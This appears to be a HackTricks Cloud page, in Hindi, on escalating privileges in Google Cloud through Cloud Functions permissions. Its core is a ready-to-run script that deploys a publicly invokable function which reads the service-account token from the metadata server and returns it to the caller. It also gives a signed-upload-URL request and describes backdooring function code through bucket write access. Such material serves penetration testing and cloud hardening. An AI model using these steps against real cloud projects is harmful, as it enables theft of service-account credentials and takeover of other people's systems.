GCP - Cloudfunctions Privesc
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
cloudfunctions
Cloud Functions के बारे में अधिक जानकारी:
cloudfunctions.functions.create
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
इन विशेषाधिकारों के साथ एक हमलावर मनमाने (दुष्ट) कोड के साथ एक नया Cloud Function बना सकता है और इसे एक Service Account सौंप सकता है। फिर, विशेषाधिकारों को बढ़ाने के लिए मेटाडेटा से Service Account टोकन लीक करें।
फंक्शन को ट्रिगर करने के लिए कुछ विशेषाधिकारों की आवश्यकता हो सकती है।
इस विधि के लिए शोषण स्क्रिप्ट यहाँ और यहाँ मिल सकती हैं और प्रीबिल्ट .zip फ़ाइल यहाँ मिल सकती है।
cloudfunctions.functions.update
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
इन विशेषाधिकारों के साथ एक हमलावर एक Function के कोड को संशोधित कर सकता है और यहां तक कि संलग्न सेवा खाते को भी संशोधित कर सकता है जिसका लक्ष्य टोकन को एक्सफिल्ट्रेट करना है।
caution
Cloud functions को तैनात करने के लिए आपको डिफ़ॉल्ट कंप्यूट सेवा खाते या उस सेवा खाते पर actAs अनुमतियों की भी आवश्यकता होगी जिसका उपयोग छवि बनाने के लिए किया जाता है।
कुछ अतिरिक्त विशेषाधिकार जैसे कि संस्करण 1 cloudfunctions के लिए .call
अनुमति या फंक्शन को ट्रिगर करने के लिए role/run.invoker
भूमिका की आवश्यकता हो सकती है।
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
caution
यदि आपको त्रुटि Permission 'run.services.setIamPolicy' denied on resource...
मिलती है, तो इसका कारण यह है कि आप --allow-unauthenticated
पैरामीटर का उपयोग कर रहे हैं और आपके पास इसके लिए पर्याप्त अनुमतियाँ नहीं हैं।
इस विधि के लिए एक्सप्लॉइट स्क्रिप्ट यहाँ मिल सकती है।
cloudfunctions.functions.sourceCodeSet
इस अनुमति के साथ आप एक साइन किया हुआ URL प्राप्त कर सकते हैं जिससे आप एक फ़ाइल को एक फ़ंक्शन बकेट में अपलोड कर सकें (लेकिन फ़ंक्शन का कोड नहीं बदलेगा, आपको इसे अभी भी अपडेट करना होगा)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
मुझे नहीं पता कि हमलावर के दृष्टिकोण से केवल यह अनुमति कितनी उपयोगी है, लेकिन जानना अच्छा है।
cloudfunctions.functions.setIamPolicy
, iam.serviceAccounts.actAs
अपने आप को किसी भी पिछले .update
या .create
विशेषाधिकार दें ताकि आप बढ़ा सकें।
cloudfunctions.functions.update
केवल cloudfunctions
अनुमतियों के साथ, बिना iam.serviceAccounts.actAs
के आप फंक्शन को अपडेट नहीं कर पाएंगे, इसलिए यह एक मान्य प्रिवेस्क नहीं है।
बकेट पर पढ़ने और लिखने की पहुंच
यदि आपके पास बकेट पर पढ़ने और लिखने की पहुंच है, तो आप कोड में परिवर्तनों की निगरानी कर सकते हैं और जब भी बकेट में अपडेट होता है, आप अपने कोड के साथ नए कोड को अपडेट कर सकते हैं ताकि क्लाउड फ़ंक्शन का नया संस्करण प्रस्तुत किए गए बैकडोर कोड के साथ चल सके।
आप हमले के बारे में अधिक जानकारी देख सकते हैं:
हालांकि, आप इसका उपयोग तीसरे पक्ष के क्लाउड फ़ंक्शंस को पूर्व-समझौता करने के लिए नहीं कर सकते क्योंकि यदि आप अपने खाते में बकेट बनाते हैं और इसे सार्वजनिक अनुमतियाँ देते हैं ताकि बाहरी प्रोजेक्ट इसके ऊपर लिख सके, तो आपको निम्नलिखित त्रुटि मिलती है:
 (1) (1).png)
caution
हालाँकि, इसका उपयोग DoS हमलों के लिए किया जा सकता है।
आर्टिफैक्ट रजिस्ट्री पर पढ़ने और लिखने की पहुंच
जब एक क्लाउड फ़ंक्शन बनाया जाता है, तो एक नया डॉकर इमेज प्रोजेक्ट के आर्टिफैक्ट रजिस्ट्री में पुश किया जाता है। मैंने एक नए इमेज के साथ इमेज को संशोधित करने की कोशिश की, और यहां तक कि वर्तमान इमेज (और cache
इमेज) को भी हटाने की कोशिश की और कुछ भी नहीं बदला, क्लाउड फ़ंक्शन काम करता रहा। इसलिए, शायद यह बकेट के साथ रेस कंडीशन हमले का दुरुपयोग करना संभव हो सकता है ताकि डॉकर कंटेनर को बदला जा सके जो चलाया जाएगा लेकिन संग्रहित इमेज को केवल संशोधित करना क्लाउड फ़ंक्शन को समझौता करने के लिए संभव नहीं है।
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।